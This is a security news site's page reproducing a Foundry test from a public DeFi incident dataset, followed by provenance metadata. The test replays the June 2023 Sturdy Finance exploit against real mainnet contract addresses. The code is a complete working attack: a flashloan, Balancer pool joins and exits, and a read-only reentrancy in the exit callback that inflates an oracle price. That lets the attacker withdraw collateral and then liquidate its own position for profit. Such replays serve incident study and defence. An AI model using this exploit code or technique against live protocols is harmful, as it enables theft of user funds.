Skip to content
THREATWIRE

Public reproduction file

src/test/2023-06/Sturdy_exp.sol

Public reproduction file for dataset entry Sturdy Finance.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2023-06/Sturdy_exp.sol338 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "forge-std/Test.sol";
5import "./../interface.sol";
6
7// @KeyInfo - Total Lost : ~800K USD$
8// Attacker : https://etherscan.io/address/0x1e8419e724d51e87f78e222d935fbbdeb631a08b
9// Attack Contract : https://etherscan.io/address/0x0b09c86260c12294e3b967f0d523b4b2bcdfbeab
10// Vulnerable Contract : https://etherscan.io/address/0x9f72dc67cec672bb99e3d02cbea0a21536a2b657
11// Attack Tx : https://etherscan.io/tx/0xeb87ebc0a18aca7d2a9ffcabf61aa69c9e8d3c6efade9e2303f8857717fb9eb7
13// @Info
14// Vulnerable Contract Code : https://etherscan.io/address/0x46bea99d977f269399fb3a4637077bb35f075516#code
16// @Analysis
17// Post-mortem : https://sturdyfinance.medium.com/exploit-post-mortem-49261493307a
18// Twitter Guy : https://twitter.com/AnciliaInc/status/1668081008615325698
19// Twitter Guy : https://twitter.com/BlockSecTeam/status/1668084629654638592
21interface IwstETH is IERC20 {
22 function unwrap(
23 uint256 _wstETHAmount
24 ) external returns (uint256);
27interface IMetaStablePool is IERC20 {
28 function getPoolId() external view returns (bytes32);
31interface LendingPool {
32 function borrow(
33 address asset,
34 uint256 amount,
35 uint256 interestRateMode,
36 uint16 referralCode,
37 address onBehalfOf
38 ) external;
40 function getUserAccountData(
41 address user
42 )
43 external
44 view
45 returns (
46 uint256 totalCollateralETH,
47 uint256 totalDebtETH,
48 uint256 availableBorrowsETH,
49 uint256 currentLiquidationThreshold,
50 uint256 ltv,
51 uint256 healthFactor
52 );
54 function liquidationCall(
55 address collateralAsset,
56 address debtAsset,
57 address user,
58 uint256 debtToCover,
59 bool receiveAToken
60 ) external;
62 function setUserUseReserveAsCollateral(address asset, bool useAsCollateral) external;
65interface ILPVault {
66 function depositCollateralFrom(address _asset, uint256 _amount, address _user) external payable;
68 function withdrawCollateral(address _asset, uint256 _amount, uint256 _slippage, address _to) external;
71interface IBalancerQueries {
72 function queryJoin(
73 bytes32 poolId,
74 address sender,
75 address recipient,
76 IBalancerVault.JoinPoolRequest memory request
77 ) external returns (uint256 bptOut, uint256[] memory amountsIn);
79 function queryExit(
80 bytes32 poolId,
81 address sender,
82 address recipient,
83 IBalancerVault.ExitPoolRequest memory request
84 ) external returns (uint256 bptIn, uint256[] memory amountsOut);
87interface ISturdyOracle {
88 function getAssetPrice(
89 address asset
90 ) external view returns (uint256);
93contract ContractTest is Test {
94 WETH9 WETH = WETH9(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
95 IwstETH wstETH = IwstETH(0x7f39C581F595B53c5cb19bD0b3f8dA6c935E2Ca0);
96 IERC20 steCRV = IERC20(0x06325440D014e39736583c165C2963BA99fAf14E);
97 IERC20 stETH = IERC20(0xae7ab96520DE3A18E5e111B5EaAb095312D7fE84);
98 IMetaStablePool B_STETH_STABLE = IMetaStablePool(0x32296969Ef14EB0c6d29669C550D4a0449130230);
99 ICurvePool LidoCurvePool = ICurvePool(0xDC24316b9AE028F1497c275EB9192a3Ea0f67022);
100 LendingPool lendingPool = LendingPool(0x9f72DC67ceC672bB99e3d02CbEA0a21536a2b657);
101 ILPVault AuraBalancerLPVault = ILPVault(0x6AE5Fd07c0Bb2264B1F60b33F65920A2b912151C);
102 ILPVault ConvexCurveLPVault2 = ILPVault(0xa36BE47700C079BD94adC09f35B0FA93A55297bc);
103 IBalancerVault Balancer = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);
104 IAaveFlashloan aaveV3 = IAaveFlashloan(0x87870Bca3F3fD6335C3F4ce8392D69350B4fA4E2);
105 IBalancerQueries BalancerQueries = IBalancerQueries(0xE39B5e3B6D74016b2F6A9673D7d7493B6DF549d5);
106 ISturdyOracle SturdyOracle = ISturdyOracle(0xe5d78eB340627B8D5bcFf63590Ebec1EF9118C89);
108 function setUp() public {
109 vm.createSelectFork("mainnet", 17_460_609);
110 vm.label(address(wstETH), "wstETH");
111 vm.label(address(WETH), "WETH");
112 vm.label(address(steCRV), "steCRV");
113 vm.label(address(stETH), "stETH");
114 vm.label(address(B_STETH_STABLE), "B_STETH_STABLE");
115 vm.label(address(LidoCurvePool), "LidoCurvePool");
116 vm.label(address(lendingPool), "lendingPool");
117 vm.label(address(AuraBalancerLPVault), "AuraBalancerLPVault");
118 vm.label(address(ConvexCurveLPVault2), "ConvexCurveLPVault2");
119 vm.label(address(Balancer), "Balancer");
120 vm.label(address(aaveV3), "aaveV3");
121 vm.label(address(BalancerQueries), "BalancerQueries");
122 vm.label(address(SturdyOracle), "SturdyOracle");
123 }
125 function testExploit() public {
126 deal(address(this), 0);
127 address[] memory assets = new address[](2);
128 assets[0] = address(wstETH);
129 assets[1] = address(WETH);
130 uint256[] memory amounts = new uint256[](2);
131 amounts[0] = 50_000 * 1e18;
132 amounts[1] = 60_000 * 1e18;
133 uint256[] memory modes = new uint256[](2);
134 modes[0] = 0;
135 modes[1] = 0;
136 console.log("1. Borrow 50,000 wstETH and 60,000 WETH from Aave as a flashloan.");
137 aaveV3.flashLoan(address(this), assets, amounts, modes, address(this), "", 0); // Borrow 50,000 wstETH and 60,000 WETH from Aave as a flashloan.
139 emit log_named_decimal_uint(
140 "Attacker WETH balance after exploit", WETH.balanceOf(address(this)), WETH.decimals()
141 );
142 }
144 function executeOperation(
145 address[] calldata assets,
146 uint256[] calldata amounts,
147 uint256[] calldata premiums,
148 address initiator,
149 bytes calldata params
150 ) external returns (bool) {
151 WETH.withdraw(1100 ether);
152 uint256[2] memory amount;
153 amount[0] = 1100 ether;
154 amount[1] = 0;
155 console.log("2. Add 1,100 ETH to steCRV pool to mint 1,023 steCRV.");
156 LidoCurvePool.add_liquidity{value: 1100 ether}(amount, 1000 ether); // Add 1,100 ETH to steCRV pool to mint 1,023 steCRV.
158 for (uint256 i; i < 1; i++) {
159 Exploiter exploiter = new Exploiter();
160 vm.label(address(exploiter), "exploiter");
161 WETH.transfer(address(exploiter), WETH.balanceOf(address(this)));
162 wstETH.transfer(address(exploiter), wstETH.balanceOf(address(this)));
163 steCRV.transfer(address(exploiter), steCRV.balanceOf(address(this)));
164 exploiter.yoink();
165 }
167 LidoCurvePool.remove_liquidity_one_coin(steCRV.balanceOf(address(this)), 0, 1000 * 1e18); // burn steCRV, get WETH
168 wstETH.unwrap(wstETH.balanceOf(address(this)) - amounts[0] - premiums[0]); // burn redundant wstETH, get WETH
169 stETH.approve(address(LidoCurvePool), stETH.balanceOf(address(this)));
170 LidoCurvePool.exchange(1, 0, stETH.balanceOf(address(this)), 1); // swap stETH to ETH
171 WETH.deposit{value: address(this).balance}();
173 IERC20(assets[0]).approve(address(aaveV3), amounts[0] + premiums[0]);
174 IERC20(assets[1]).approve(address(aaveV3), amounts[1] + premiums[1]);
176 return true;
177 }
179 receive() external payable {}
182contract Exploiter is Test {
183 address owner;
184 uint256 nonce;
185 WETH9 WETH = WETH9(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
186 IwstETH wstETH = IwstETH(0x7f39C581F595B53c5cb19bD0b3f8dA6c935E2Ca0);
187 IERC20 steCRV = IERC20(0x06325440D014e39736583c165C2963BA99fAf14E);
188 IERC20 stETH = IERC20(0xae7ab96520DE3A18E5e111B5EaAb095312D7fE84);
189 IMetaStablePool B_STETH_STABLE = IMetaStablePool(0x32296969Ef14EB0c6d29669C550D4a0449130230);
190 ICurvePool LidoCurvePool = ICurvePool(0xDC24316b9AE028F1497c275EB9192a3Ea0f67022);
191 LendingPool lendingPool = LendingPool(0x9f72DC67ceC672bB99e3d02CbEA0a21536a2b657);
192 ILPVault AuraBalancerLPVault = ILPVault(0x6AE5Fd07c0Bb2264B1F60b33F65920A2b912151C);
193 ILPVault ConvexCurveLPVault2 = ILPVault(0xa36BE47700C079BD94adC09f35B0FA93A55297bc);
194 IBalancerVault Balancer = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);
195 IBalancerQueries BalancerQueries = IBalancerQueries(0xE39B5e3B6D74016b2F6A9673D7d7493B6DF549d5);
196 ISturdyOracle SturdyOracle = ISturdyOracle(0xe5d78eB340627B8D5bcFf63590Ebec1EF9118C89);
197 address cB_stETH_STABLE = 0x10aA9eea35A3102Cc47d4d93Bc0BA9aE45557746;
198 address csteCRV = 0x901247D08BEbFD449526Da92941B35D756873Bcd;
200 constructor() {
201 owner = msg.sender;
202 }
204 function yoink() external {
205 joinBalancerPool();
206 depositCollateralAndBorrow();
207 exitBalancerPool();
208 withdrawCollateralAndLiquidation();
209 removeBalancerPoolLiquidity();
210 WETH.deposit{value: address(this).balance}();
211 wstETH.transfer(owner, wstETH.balanceOf(address(this)));
212 WETH.transfer(owner, WETH.balanceOf(address(this)));
213 steCRV.transfer(owner, steCRV.balanceOf(address(this)));
214 }
216 function setJoinData(
217 uint256 amt
218 ) internal view returns (IBalancerVault.JoinPoolRequest memory request) {
219 uint256[] memory amountIn = new uint256[](2);
220 amountIn[0] = 50_000 * 1e18;
221 amountIn[1] = 57_000 * 1e18;
222 bytes memory data = abi.encode(uint256(1), amountIn, amt);
223 request = IBalancerVault.JoinPoolRequest({
224 asset: new address[](2),
225 maxAmountsIn: amountIn,
226 userData: data,
227 fromInternalBalance: false
228 });
229 request.asset[0] = address(wstETH);
230 request.asset[1] = address(WETH);
231 return request;
232 }
234 function joinBalancerPool() internal {
235 bytes32 poolId = B_STETH_STABLE.getPoolId();
236 IBalancerVault.JoinPoolRequest memory request = setJoinData(0);
237 (uint256 bptOut,) = BalancerQueries.queryJoin(poolId, address(this), address(this), request);
238 wstETH.approve(address(Balancer), 50_000 * 1e18);
239 WETH.approve(address(Balancer), 57_000 * 1e18);
240 request = setJoinData(bptOut);
241 console.log(
242 "3. Add 50,000 wstETH and 57,000 WETH to the Balancer B-stETH-STABLE pool to mint 109,517 B-stETH-STABLE"
243 );
244 Balancer.joinPool(poolId, address(this), address(this), request); // Add 50,000 wstETH and 57,000 WETH to the Balancer B-stETH-STABLE pool to mint 109,517 B-stETH-STABLE
245 }
247 function depositCollateralAndBorrow() internal {
248 console.log("4. Deposit 1,000 steCRV and 233 B-stETH-STABLE as collateral into Sturdy.");
249 steCRV.approve(address(ConvexCurveLPVault2), 1000 * 1e18);
250 ConvexCurveLPVault2.depositCollateralFrom(address(steCRV), 1000 * 1e18, address(this));
251 B_STETH_STABLE.approve(address(AuraBalancerLPVault), 233_348_773_557_117_598_739);
252 AuraBalancerLPVault.depositCollateralFrom(address(B_STETH_STABLE), 233_348_773_557_117_598_739, address(this)); // Deposit 1,000 steCRV and 233 B-stETH-STABLE as collateral into Sturdy.
254 console.log("5. Borrow 513 WETH from Sturdy.");
255 lendingPool.borrow(address(WETH), 513_367_301_825_658_717_226, 2, 0, address(this)); // Borrow 513 WETH from Sturdy.
256 }
258 function setExitData(
259 uint256 amt
260 ) internal view returns (IBalancerVault.ExitPoolRequest memory request) {
261 uint256[] memory amountOut = new uint256[](2);
262 amountOut[0] = 0;
263 amountOut[1] = 0;
264 bytes memory data = abi.encode(uint256(1), amt);
265 request = IBalancerVault.ExitPoolRequest({
266 asset: new address[](2),
267 minAmountsOut: amountOut,
268 userData: data,
269 toInternalBalance: false
270 });
271 request.asset[0] = address(wstETH);
272 request.asset[1] = address(0);
273 return request;
274 }
276 function exitBalancerPool() internal {
277 bytes32 poolId = B_STETH_STABLE.getPoolId();
278 uint256 amt = B_STETH_STABLE.balanceOf(address(this));
279 IBalancerVault.ExitPoolRequest memory request = setExitData(amt);
280 BalancerQueries.queryExit(poolId, address(this), address(this), request);
281 console.log(
282 "6. Remove 109,284 B-stETH-STABLE from the Balancer B-stETH-STABLE pool to receive wstETH and WETH. \n"
283 );
284 B_STETH_STABLE.approve(address(Balancer), B_STETH_STABLE.balanceOf(address(this)));
286 emit log_named_decimal_uint(
287 "Before Read-Only-Reentrancy Collateral Price \t",
288 SturdyOracle.getAssetPrice(cB_stETH_STABLE),
289 B_STETH_STABLE.decimals()
290 );
291 Balancer.exitPool(poolId, address(this), payable(address(this)), request);
292 }
294 receive() external payable {
295 nonce++;
296 if (nonce == 1) {
297 // Manipulate the price of B-stETH-STABLE and set steCRV as non-collateral during the manipulation. As the price of
298 // B-stETH-STABLE increases threefold, the protocol considers the attacker's 233 collateralized B-stETH-STABLE enough
299 // to cover the 513 WETH debt. Consequently, the attacker's steCRV is allowed to be no longer used as collateral.
300 emit log_named_decimal_uint(
301 "In Read-Only-Reentrancy Collateral Price \t",
302 SturdyOracle.getAssetPrice(cB_stETH_STABLE),
303 B_STETH_STABLE.decimals()
304 );
305 console.log("7. set steCRV as non-collateral during the manipulation.");
306 lendingPool.setUserUseReserveAsCollateral(address(csteCRV), false);
307 }
308 }
310 function withdrawCollateralAndLiquidation() internal {
311 emit log_named_decimal_uint(
312 "After Read-Only-Reentrancy Collateral Price \t",
313 SturdyOracle.getAssetPrice(cB_stETH_STABLE),
314 B_STETH_STABLE.decimals()
315 );
316 console.log("");
317 console.log("8. Withdraw 1,000 steCRV from Sturdy.");
318 ConvexCurveLPVault2.withdrawCollateral(address(steCRV), 1000 * 1e18, 10, address(this)); // Withdraw 1,000 steCRV from Sturdy.
319 (, uint256 totalDebt,,,,) = lendingPool.getUserAccountData(address(this));
320 console.log("9. attacker liquidates their position to reclaim collateral with 236 WETH");
321 // As the price of B-stETH-STABLE returns to normal, the attacker liquidates their position with 236 WETH to reclaim
322 // 233 B-stETH-STABLE (worth approximately 106 wstETH + 120 WETH).
323 WETH.approve(address(lendingPool), totalDebt);
324 lendingPool.liquidationCall(address(B_STETH_STABLE), address(WETH), address(this), totalDebt, false);
325 }
327 function removeBalancerPoolLiquidity() internal {
328 bytes32 poolId = B_STETH_STABLE.getPoolId();
329 uint256 amt = B_STETH_STABLE.balanceOf(address(this));
330 IBalancerVault.ExitPoolRequest memory request = setExitData(amt);
331 BalancerQueries.queryExit(poolId, address(this), address(this), request);
332 B_STETH_STABLE.approve(address(Balancer), B_STETH_STABLE.balanceOf(address(this)));
333 console.log(
334 "10. Remove 233 B-stETH-STABLE from the Balancer B-stETH-STABLE pool to receive 106 wstETH and 120 WETH. \n"
335 );
336 Balancer.exitPool(poolId, address(this), payable(address(this)), request);
337 }

Analysis

Dataset entry

Public Foundry test for “Sturdy Finance” (2023-06-12). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

21 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x1e8419e724d51e87f78e222d935fbbdeb631a08b

  • Attack Contract

    0x0b09c86260c12294e3b967f0d523b4b2bcdfbeab

  • Vulnerable Contract

    0x9f72dc67cec672bb99e3d02cbea0a21536a2b657

  • Vulnerable Contract

    0x46bea99d977f269399fb3a4637077bb35f075516

  • Attack Tx

    0xeb87ebc0a18aca7d2a9ffcabf61aa69c9e8d3c6efade9e2303f8857717fb9eb7

File record

Name
Sturdy Finance
Path
src/test/2023-06/Sturdy_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
58a7c540a660a3721f8ef0bc4d08f6a4522a7141
Language
Solidity
Size
339 lines
Date
2023-06-12
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2023-06/Sturdy_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 58a7c540a660a3721f8ef0bc4d08f6a4522a7141, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.